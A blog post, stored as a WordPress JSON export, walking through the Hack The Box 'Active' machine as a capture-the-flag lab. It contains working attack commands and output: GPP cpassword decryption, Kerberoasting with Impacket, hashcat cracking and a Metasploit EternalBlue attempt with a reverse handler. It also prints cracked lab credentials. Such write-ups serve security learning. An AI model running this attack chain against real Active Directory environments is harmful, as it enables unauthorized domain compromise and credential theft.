{"id":62,"date":"2026-01-19T22:23:46","date_gmt":"2026-01-19T22:23:46","guid":{"rendered":"https:\/\/patatties.nl\/?p=62"},"modified":"2026-01-20T00:13:39","modified_gmt":"2026-01-20T00:13:39","slug":"htb-activev","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=62","title":{"rendered":"HTB: Active"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-20.png\" alt=\"\" class=\"wp-image-65\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-20.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-20-150x150.png 150w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"981\" height=\"76\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-19.png\" alt=\"\" class=\"wp-image-64\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-19.png 981w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-19-300x23.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-19-768x59.png 768w\" sizes=\"auto, (max-width: 981px) 100vw, 981px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A Windows box this time. Its called Active. What are the chances that this is about Active Directory exploitation? I think fairly probable! I like Active Directory enumeration, so that would be great! Lets boot it up!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">First recon. I ping the host to check vpn connectivity, and follow up with a portscan<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/home\/kali]\n\u2514\u2500# nmap -sV -sC -p- 10.129.5.8   \nStarting Nmap 7.98 ( https:\/\/nmap.org ) at 2026-01-19 17:35 -0500\nNmap scan report for 10.129.5.8\nHost is up (0.0057s latency).\nNot shown: 65512 closed tcp ports (reset)\nPORT      STATE SERVICE       VERSION\n53\/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)\n| dns-nsid: \n|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-19 22:36:32Z)\n135\/tcp   open  msrpc         Microsoft Windows RPC\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  tcpwrapped\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)\n3269\/tcp  open  tcpwrapped\n5722\/tcp  open  msrpc         Microsoft Windows RPC\n9389\/tcp  open  mc-nmf        .NET Message Framing\n47001\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n49152\/tcp open  msrpc         Microsoft Windows RPC\n49153\/tcp open  msrpc         Microsoft Windows RPC\n49154\/tcp open  msrpc         Microsoft Windows RPC\n49155\/tcp open  msrpc         Microsoft Windows RPC\n49157\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49158\/tcp open  msrpc         Microsoft Windows RPC\n49165\/tcp open  msrpc         Microsoft Windows RPC\n49166\/tcp open  msrpc         Microsoft Windows RPC\n49173\/tcp open  msrpc         Microsoft Windows RPC\nService Info: Host: DC; OS: Windows; CPE: cpe:\/o:microsoft:windows_server_2008:r2:sp1, cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-time: \n|   date: 2026-01-19T22:37:28\n|_  start_date: 2026-01-19T22:19:17\n| smb2-security-mode: \n|   2.1: \n|_    Message signing enabled and required\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 131.95 seconds\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">the open Kerberos (88) and LDAP (389,636) ports seem to confirm my expectation that this is indeed a Active Directory server. Apperently Server 2008 R2. Pretty old.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With empty creds we can enumerate the shares on SMB<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2500\u2500(root\u327fkali)-&#91;\/home\/kali\/htb\/nibble]\n\u2514\u2500# smbmap -u '' -p '' -H 10.129.5.8     \n\n    ________  ___      ___  _______   ___      ___       __         _______\n   \/\"       )|\"  \\    \/\"  ||   _  \"\\ |\"  \\    \/\"  |     \/\"\"\\       |   __ \"\\\n  (:   \\___\/  \\   \\  \/\/   |(. |_)  :) \\   \\  \/\/   |    \/    \\      (. |__) :)\n   \\___  \\    \/\\  \\\/.    ||:     \\\/   \/\\   \\\/.    |   \/' \/\\  \\     |:  ____\/\n    __\/  \\   |: \\.        |(|  _  \\  |: \\.        |  \/\/  __'  \\    (|  \/\n   \/\" \\   :) |.  \\    \/:  ||: |_)  :)|.  \\    \/:  | \/   \/  \\   \\  \/|__\/ \\\n  (_______\/  |___|\\__\/|___|(_______\/ |___|\\__\/|___|(___\/    \\___)(_______)\n-----------------------------------------------------------------------------\nSMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com\n                     https:&#47;&#47;github.com\/ShawnDEvans\/smbmap\n\n&#91;*] Detected 1 hosts serving SMB                                                                                                  \n&#91;*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      \n                                                                                                                             \n&#91;+] IP: 10.129.5.8:445  Name: 10.129.5.8                Status: Authenticated\n        Disk                                                    Permissions     Comment\n        ----                                                    -----------     -------\n        ADMIN$                                                  NO ACCESS       Remote Admin\n        C$                                                      NO ACCESS       Default share\n        IPC$                                                    NO ACCESS       Remote IPC\n        NETLOGON                                                NO ACCESS       Logon server share \n        Replication                                             READ ONLY\n        SYSVOL                                                  NO ACCESS       Logon server share \n        Users                                                   NO ACCESS\n&#91;*] Closed 1 connections                                                                <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">mostly no access, but we can read Replication.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">signing in on the replication share anonymously we see the hostname of the box.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/home\/kali\/htb\/active]\n\u2514\u2500# smbclient \\\\\\\\10.129.5.8\\\\Replication\nPassword for &#91;WORKGROUP\\root]:\nAnonymous login successful\nTry \"help\" to get a list of possible commands.\nsmb: \\> ls\n  .                                   D        0  Sat Jul 21 06:37:44 2018\n  ..                                  D        0  Sat Jul 21 06:37:44 2018\n  active.htb                          D        0  Sat Jul 21 06:37:44 2018\n\n                5217023 blocks of size 4096. 284068 blocks available\nsmb: \\> <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">I don&#8217;t have a smart way of doing this, i just browse trough the folders opening the files, see what i have.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When browsing this directory, i found a path with a file that seems to have a password hash?<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>smb: \\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\Machine\\Preferences\\Groups\\> ls\n  .                                   D        0  Sat Jul 21 06:37:44 2018\n  ..                                  D        0  Sat Jul 21 06:37:44 2018\n  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018\n\nmore Groups.xml>\n\n&lt;?xml version=\"1.0\" encoding=\"utf-8\"?>\n&lt;Groups clsid=\"{3125E937-EB16-4b4c-9934-544FC6D24D26}\">&lt;User clsid=\"{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}\" name=\"active.htb\\SVC_TGS\" image=\"2\" changed=\"2018-07-18 20:46:06\" uid=\"{EF57DA28-5F69-4530-A59E-AAB58578219D}\">&lt;Properties action=\"U\" newName=\"\" fullName=\"\" description=\"\" cpassword=\"edBSHOwhZLTjt\/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw\/NglVmQ\" changeLogon=\"0\" noChange=\"1\" neverExpires=\"1\" acctDisabled=\"0\" userName=\"active.htb\\SVC_TGS\"\/>&lt;\/User>\n&lt;\/Groups>\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">this looks like a hash for active.htb\\SVC_TGS. Lets look a bit further, but this looks promising. Part of the Ticket Granting Service of Kerberos i hope.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Googling cpassword a bit apperently these were encrypted using a static universal AES key. kali comes with a tool gpp-decrypt, which can be used to decrypt the password.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/home\/kali\/htb\/active]\n\u2514\u2500# gpp-decrypt edBSHOwhZLTjt\/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw\/NglVmQ\nGPPstillStandingStrong2k18\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We now have a user, with which we can try to interact with the system. Lets see if these creds now work!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"455\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-21.png\" alt=\"\" class=\"wp-image-68\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-21.png 800w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-21-300x171.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-21-768x437.png 768w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have more shares in read only now! So i guess they still work!<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SVC_TGS<\/li>\n\n\n\n<li>GPPstillStandingStrong2k18<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Now, there exist an amazing mind-maps on AD exploitation. for example:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/S1ckB0y1337\/Active-Directory-Exploitation-Cheat-Sheet\">https:\/\/github.com\/S1ckB0y1337\/Active-Directory-Exploitation-Cheat-Sheet<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/mayfly277.github.io\/assets\/blog\/pentest_ad_dark.svg\">https:\/\/mayfly277.github.io\/assets\/blog\/pentest_ad_dark.svg<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I will not try to use what i know before falling back on these.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">First of all, lets see if we can get a session on the server using evil-winrm.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/home\/kali\/htb\/active]\n\u2514\u2500# evil-winrm ? -u SVC_TGS -p GPPstillStandingStrong2k18 -i 10.129.5.8\n                                        \nEvil-WinRM shell v3.9\n                                        \nWarning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline\n                                        \nData: For more information, check Evil-WinRM GitHub: https:\/\/github.com\/Hackplayers\/evil-winrm#Remote-path-completion\n                                        \nInfo: Establishing connection to remote endpoint\n\n                                        \nError: Connection timeout or error occurred: Errno::ECONNREFUSED - Connection refused - Connection refused - connect(2) for \"10.129.5.8\" port 5985 (10.129.5.8:5985)                                                                                                                \n                                        \nWarning: Cleaning up and exiting...<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Too bad, no dice!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Again is started browsing the new shares. The Users share seems to be C:\\Users where SVC_TGS is a user with the user flag on its Desktop. So got that!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">So after trying some things i thought i&#8217;d see if there are kerberoastable users on the system. These are users for which you can request their password hash.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/usr\/share\/doc\/python3-impacket\/examples]\n\u2514\u2500# python3 GetUserSPNs.py active.htb\/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.5.8 -request\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies \n\nServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation \n--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------\nactive\/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2026-01-19 17:20:27.948959             \n\n\n\n&#91;-] CCache file is not found. Skipping...\n$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb\/Administrator*$7e814cb9ac36dfb395440e6fac4dea1a$cbd22d31815cd9ad57b5cfedeec96f7ea65be24e71851bb9b81be603e11a02119c9df8524ce8cb8b101fbaaa4c07145404ad4c99d57aaa87a299c61d1492ce2d535539dfc4d054200e5187a907e31891c62313d7ece407449e76a8b83e3b1af18b4d5758751c2aa7743abbd75e07a53d122407728ee5181a826d32a84f94b60186b575be2a16487d5e4515f01e6eeb8e576382db24c04aa578af470c33e674a675964058306db9f200be3d0e6b677a70681f1680899d99ecc54c6fd3e787e5f0b5630ce004bc1b480b55011ae2cfefa0982021f3c8b6741abc16dbda427254eaff9866672e4e08cd736a7eb6674e422470f4a351a6167c8f5375babe188f53d06bf9e93575ba4e95444ca2f889e042b747d4c72261e3e701277a90174ed3f68829905d3055f02b5f11852b2724d65da8d57e5036977c805860f5dd3c7e292ddafab3803b614d67d79ea12b644ae7ee9812a66f9cef7478c07317627ddc6571bbc8094d94209ecdec8f5bd8c3b4e6547178f13236de956d68cb623b8e74b9359792ace7bc9369257b86dea37aff2425d406cfad5a53fd63324218653a3cc9f5274e07de8354857b3fcc8971fcdac4e7e45863ef0b3a7ed86834f9652e5fda47205c233671ce964f015e7fa910a4030940c8a51f4735c7cca95797b51266347eeea2a3962d8ef42cde9e4a7942d2d16bd7b888982de9246221d16bb59ffbcd49dfcae90c4f2b948683ee26b98d4d486ee2db1d6d32b69c2a8d6efcb8ed3b0935525ef85c090044a6f5444079f77b351b659ac43c3c08650d20fd9b3d0bd3a842e577fa0afcf1f3188ad20cc848572a4ef9be9a9459823044496921b61a0144543a7b5613746319eaccfcdd9d599b0dcd1a730107c8cf308446459b17906ab5ddcd4718943ae96a786806764d8ed9eb7a8323b6c1be97995fa70e7f5b31056f12d62c908ccd268b8b0355a0dab3a80c435cea29d03d0da707d5d7c51a98f6f8fa55839c101d6c0a0f16c44ac72361cdb24024a630a802de8f3614ec0d457c513af0836e1d3f586b43741a6ba85d569c35689f9ff89cf594944f020e5442223ea10bb91c40f1f900934c5a38287103685ed1553aefa2d60320283e354916ac3a3a202d92f91f7f378d4e4479917cbddef2ad2a8f03160a791a8e30731b111356c33ca1845f55618e9b4a154c1ea6455685d24e126d4567a8ebf0bebd6fe79cdc98746325351909588227580c69ad64db3c30f590579c2570f7f8fd1b<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We saved this hash, and went after it with Hashcat!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First we need to identify what kind of hash we&#8217;ve got. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/hashcat.net\/wiki\/doku.php?id=example_hashes\">https:\/\/hashcat.net\/wiki\/doku.php?id=example_hashes<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">luckily hashcat has kind off a lookup table for this \ud83d\ude42 It would seem that mode 13100 is the one!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"28\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-23-1024x28.png\" alt=\"\" class=\"wp-image-70\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-23-1024x28.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-23-300x8.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-23-768x21.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-23.png 1125w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat -m 13100 hash \/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">A couple of seconds and Cracked!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"542\" src=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-25-1024x542.png\" alt=\"\" class=\"wp-image-72\" srcset=\"https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-25-1024x542.png 1024w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-25-300x159.png 300w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-25-768x407.png 768w, https:\/\/patatties.nl\/wp-content\/uploads\/2026\/01\/image-25.png 1105w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>administrator<\/li>\n\n\n\n<li>Ticketmaster1968<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">so with this credential i can use SMB again to get the root flag i guess. But i wanna see if i can get a shell still using Eternalblue.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<pre class=\"wp-block-code\"><code>msf exploit(windows\/smb\/ms17_010_eternalblue) > set rhosts 10.129.5.8\nrhosts => 10.129.5.8\nmsf exploit(windows\/smb\/ms17_010_eternalblue) > set smbdomain active.htb\nsmbdomain => active.htb\nmsf exploit(windows\/smb\/ms17_010_eternalblue) > set smbpass Ticketmaster1968\nsmbpass => Ticketmaster1968\nmsf exploit(windows\/smb\/ms17_010_eternalblue) > set smbuser administrator\nsmbuser => administrator\nmsf exploit(windows\/smb\/ms17_010_eternalblue) > set lhost 10.10.15.104\nlhost => 10.10.15.104\nmsf exploit(windows\/smb\/ms17_010_eternalblue) > run\n&#91;*] Started reverse TCP handler on 10.10.15.104:4444 \n&#91;*] 10.129.5.8:445 - Using auxiliary\/scanner\/smb\/smb_ms17_010 as check\n&#91;-] 10.129.5.8:445        - An SMB Login Error occurred while connecting to the IPC$ tree.\n&#91;*] 10.129.5.8:445        - Scanned 1 of 1 hosts (100% complete)\n&#91;-] 10.129.5.8:445 - The target is not vulnerable.\n&#91;*] Exploit completed, but no session was created.\nmsf exploit(windows\/smb\/ms17_010_eternalblue) > <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">nope, still not. Oh well, lets get our flag!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(root\u327fkali)-&#91;\/home\/kali\/htb\/active]\n\u2514\u2500# smbclient \\\\\\\\10.129.5.8\\\\Users -U administrator\nPassword for &#91;WORKGROUP\\administrator]:\nTry \"help\" to get a list of possible commands.\nsmb: \\> ls\n  .                                  DR        0  Sat Jul 21 10:39:20 2018\n  ..                                 DR        0  Sat Jul 21 10:39:20 2018\n  Administrator                       D        0  Mon Jul 16 06:14:21 2018\n  All Users                       DHSrn        0  Tue Jul 14 01:06:44 2009\n  Default                           DHR        0  Tue Jul 14 02:38:21 2009\n  Default User                    DHSrn        0  Tue Jul 14 01:06:44 2009\n  desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009\n  Public                             DR        0  Tue Jul 14 00:57:55 2009\n  SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018\n\n                5217023 blocks of size 4096. 278933 blocks available\nsmb: \\> cd  Administrator\nsmb: \\Administrator\\> ls\n  .                                   D        0  Mon Jul 16 06:14:21 2018\n  ..                                  D        0  Mon Jul 16 06:14:21 2018\n  AppData                           DHn        0  Mon Jan 19 17:19:48 2026\n  Application Data                DHSrn        0  Mon Jul 16 06:14:15 2018\n  Contacts                           DR        0  Mon Jul 30 09:50:10 2018\n  Cookies                         DHSrn        0  Mon Jul 16 06:14:15 2018\n  Desktop                            DR        0  Thu Jan 21 11:49:47 2021\n  Documents                          DR        0  Mon Jul 30 09:50:10 2018\n  Downloads                          DR        0  Thu Jan 21 11:52:32 2021\n  Favorites                          DR        0  Mon Jul 30 09:50:10 2018\n  Links                              DR        0  Mon Jul 30 09:50:10 2018\n  Local Settings                  DHSrn        0  Mon Jul 16 06:14:15 2018\n  Music                              DR        0  Mon Jul 30 09:50:10 2018\n  My Documents                    DHSrn        0  Mon Jul 16 06:14:15 2018\n  NetHood                         DHSrn        0  Mon Jul 16 06:14:15 2018\n  NTUSER.DAT                       AHSn   524288  Mon Jan 19 17:20:27 2026\n  ntuser.dat.LOG1                   AHS   262144  Mon Jan 19 18:07:40 2026\n  ntuser.dat.LOG2                   AHS        0  Mon Jul 16 06:14:09 2018\n  NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf    AHS    65536  Mon Jul 16 06:14:15 2018\n  NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Mon Jul 16 06:14:15 2018\n  NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Mon Jul 16 06:14:15 2018\n  ntuser.ini                         HS       20  Mon Jul 16 06:14:15 2018\n  Pictures                           DR        0  Mon Jul 30 09:50:10 2018\n  PrintHood                       DHSrn        0  Mon Jul 16 06:14:15 2018\n  Recent                          DHSrn        0  Mon Jul 16 06:14:15 2018\n  Saved Games                        DR        0  Mon Jul 30 09:50:10 2018\n  Searches                           DR        0  Mon Jul 30 09:50:10 2018\n  SendTo                          DHSrn        0  Mon Jul 16 06:14:15 2018\n  Start Menu                      DHSrn        0  Mon Jul 16 06:14:15 2018\n  Templates                       DHSrn        0  Mon Jul 16 06:14:15 2018\n  Videos                             DR        0  Mon Jul 30 09:50:10 2018\n\n                5217023 blocks of size 4096. 278933 blocks available\nsmb: \\Administrator\\> cd Desktop\nls\nsmb: \\Administrator\\Desktop\\> ls\n  .                                  DR        0  Thu Jan 21 11:49:47 2021\n  ..                                 DR        0  Thu Jan 21 11:49:47 2021\n  desktop.ini                       AHS      282  Mon Jul 30 09:50:10 2018\n  root.txt                           AR       34  Mon Jan 19 17:20:25 2026\n\n                5217023 blocks of size 4096. 278933 blocks available\nsmb: \\Administrator\\Desktop\\> more root.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And there it was! the root flag.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">So in the end we didn&#8217;t get code execution, or administrative access to the system other than via other protocols. That was actually quite interesting! I liked this box! Got to try a lot, but in the end, enumeration was key. That was fun.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A Windows box this time. Its called Active. What are the chances that this is about Active Directory exploitation? I think fairly probable! I like Active Directory enumeration, so that would be great! Lets boot it up! First recon. I ping the host to check vpn connectivity, and follow up with a portscan the open [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-62","post","type-post","status-publish","format-standard","hentry","category-htb"],"_links":{"self":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/62","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62"}],"version-history":[{"count":3,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/62\/revisions"}],"predecessor-version":[{"id":74,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/62\/revisions\/74"}],"wp:attachment":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}